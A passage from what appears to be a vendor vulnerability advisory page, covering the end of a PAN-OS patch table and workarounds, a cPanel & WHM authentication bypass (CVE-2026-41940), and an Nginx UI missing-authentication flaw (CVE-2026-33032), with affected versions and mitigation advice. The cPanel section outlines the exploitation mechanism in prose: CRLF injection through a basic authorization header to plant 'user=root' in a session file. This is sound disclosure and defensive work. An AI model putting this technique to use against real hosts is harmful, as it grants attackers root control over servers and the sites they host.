< 11.1.6-h32

< 11.1.7-h6

< 11.1.10-h25

< 11.1.13-h5

< 11.1.15

>= 11.1.4-h33

>= 11.1.6-h32

>= 11.1.7-h6

>= 11.1.10-h25

>= 11.1.13-h5

>= 11.1.15

05/13

05/13

05/28

05/13

05/13

05/28

PAN-OS 10.2

< 10.2.7-h34

< 10.2.10-h36

< 10.2.13-h21

< 10.2.16-h7

< 10.2.18-h6

>= 10.2.7-h34

>= 10.2.10-h36

>= 10.2.13-h21

>= 10.2.16-h7

>= 10.2.18-h6

05/28

05/13

05/28

05/28

05/13

As of May 13, 2026, the first round of patches has been published. Until the remaining awaited patches are available, Palo Alto Networks recommends one of the following workarounds:

  • Restrict User-ID™ Authentication Portal access to only trusted internal zones. Refer to Step 6 of the Live Community article and the Knowledgebase article for instructions on restricting access.

  • Disable User-ID™ Authentication Portal entirely if it is not required (Device > User Identification > Authentication Portal Settings > uncheck Enable Authentication Portal).

Please refer to the vendor advisory for the latest guidance.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-0300 with authenticated vulnerability checks available in the May 6th, 2026 content release.

Updates

  • May 6, 2026: Initial publication.

  • May 7, 2026: Updated overview to note the addition to CISA KEV and the Unit 42 threat brief attributing exploitation to CL-STA-1132.
  • May 13, 2026: Updated Mitigation guidance section to state that patches expected on May 13 have been published.

CVE-2026-41940: cPanel & WHM Authentication Bypass

Overview

On April 28, 2026, cPanel issued a security update to fix a critical vulnerability affecting the cPanel & WHM and WP Squared products. In the cPanel release notes, the bug was described as "an issue with session loading and saving." CVE-2026-41940, the identifier subsequently assigned on April 29, 2026, has a CVSS score of 9.8 and allows unauthenticated remote attackers to bypass authentication and gain unauthorized administrative access to the affected systems. First-party cPanel & WHM and WP Squared vendor advisories are available.

cPanel & WHM is web hosting control panel software used to manage websites and servers. WHM provides root-level administration, while cPanel acts as the user-facing interface. Successful exploitation of CVE-2026-41940 grants an attacker control over the cPanel host system, its configurations and databases, and websites it manages. A naive Shodan query for potential targets returns approximately 1.5 million cPanel instances exposed to the internet that may be vulnerable.

A managed cPanel host, KnownHost, stated that CVE-2026-41940 is actively being exploited in the wild, with speculation of targeted zero-day exploitation happening as early as February 23, 2026, prior to the vulnerability’s public disclosure. Security firm watchTowr has published a technical analysis and proof-of-concept exploit for CVE-2026-41940. As such, widespread exploitation in the wild is expected to be imminent.

Technical overview

Systems exposing the affected web service software are vulnerable by default.

As of April 29, 2026, a technical analysis and proof-of-concept exploit have been published by security firm watchTowr. CVE-2026-41940 is an authentication bypass caused by a Carriage Return Line Feed (CRLF) injection in the login and session loading processes of cPanel & WHM.

Before authentication occurs, `cpsrvd` (the cPanel service daemon) writes a new session file to the disk. The vulnerability allows an attacker to manipulate the `whostmgrsession` cookie by omitting an expected segment of the cookie value, avoiding the encryption process typically applied to an attacker-provided value. Attackers can inject raw `\r\n` characters via a malicious basic authorization header, and the system subsequently writes the session file without sanitizing the data. As a result, the attacker can insert arbitrary properties, such as `user=root`, into their session file. After triggering a reload of the session from the file, the attacker establishes administrator-level access for their token.

Mitigation guidance

Organizations running on-premise instances of cPanel & WHM or WP Squared should prioritize upgrading to a fixed version on an emergency basis. Some hosting providers have opted to temporarily institute workaround TCP port blocks for cPanel & WHM web services on ports 2083 and 2087. However, defenders are strongly advised to patch, rather than implement workarounds.

Affected Software:

The vendor states that all versions after 11.40 are affected, prior to the following available fixed versions.

  • cPanel & WHM 11.86.0 versions prior to fixed version 11.86.0.41
  • cPanel & WHM 11.110.0 versions prior to fixed version 11.110.0.97

  • cPanel & WHM 11.118.0 versions prior to fixed version 11.118.0.63

  • cPanel & WHM 11.126.0 versions prior to fixed version 11.126.0.54

  • cPanel & WHM 11.130.0 versions prior to fixed version 11.130.0.19
  • cPanel & WHM 11.132.0 versions prior to fixed version 11.132.0.29

  • cPanel & WHM 11.134.0 versions prior to fixed version 11.134.0.20

  • cPanel & WHM 11.136.0 versions prior to fixed version 11.136.0.5

  • WP Squared versions prior to fixed version 136.1.7

Please read the vendor advisory for the latest guidance.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-41940 with authenticated vulnerability checks available in the April 30, 2026 content release.

Updates

  • April 29, 2026: Initial publication.
  • April 30, 2026: Update mitigation guidance with additional fixed version numbers and change wording to reflect availability of vulnerability checks.

CVE-2026-33032: Nginx UI Missing MCP Authentication

Overview

On March 30, 2026, a security advisory was published for a critical vulnerability affecting Nginx UI. Nginx UI is an open-source web interface to centralize the management of Nginx configurations and SSL certificates. The critical vulnerability, CVE-2026-33032, was reported in early March by Pluto Security researcher Yotam Perkal and subsequently patched on March 15, 2026. That same day, Pluto Security published a technical blog post with some vulnerability details.

CVE-2026-33032 is a missing authentication bug with a CVSS score of 9.8; as a result of missing authentication controls, an unauthenticated attacker who exploits CVE-2026-27944 to leak information can access a Model Context Protocol (MCP) server that can perform privileged operations on managed Nginx web servers. Systems are vulnerable in the default IP allowlist configuration, which allows any remote IP to access MCP functionality. Exploitation results in full attacker control of the managed Nginx service. 

According to a Recorded Future report published on April 13, 2026, exploitation of CVE-2026-33032 in the wild has begun. A PurpleOps report published on April 16, 2026 associated exploitation of CVE-2026-33032 in the wild with the information leak vulnerability CVE-2026-27944, indicating that these two vulnerabilities are being exploited as a chain.

Mitigation guidance

Organizations running Nginx UI should prioritize updating on an urgent basis to remediate CVE-2026-33032. Additionally, to reduce exposure to future vulnerabilities affecting Nginx UI, defenders should ensure that network access to the Nginx UI management interface is strictly limited to those who must have it.

Affected versions:

According to the finder’s blog post, version 2.3.3 and prior are affected, and the fix is present in version 2.3.4 and later. However the official CVE record states that versions 2.3.5 and below are affected. The information leak vulnerability being exploited in the wild with CVE-2026-33032, CVE-2026-27944, was patched in version 2.3.3. This discrepancy in affected version numbers introduces confusion as to the correct version required to remediate CVE-2026-33032. To avoid this version number discrepancy, users are advised to update to the very latest version (2.3.6).

Please read the vendor advisory for the latest guidance.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-33032 with unauthenticated checks available in the April 17 content release.

Updates

  • April 16, 2026: Initial publication.

  • April 17, 2026: Added additional details on exploitation workflow, vulnerable software versions, and product coverage.

❌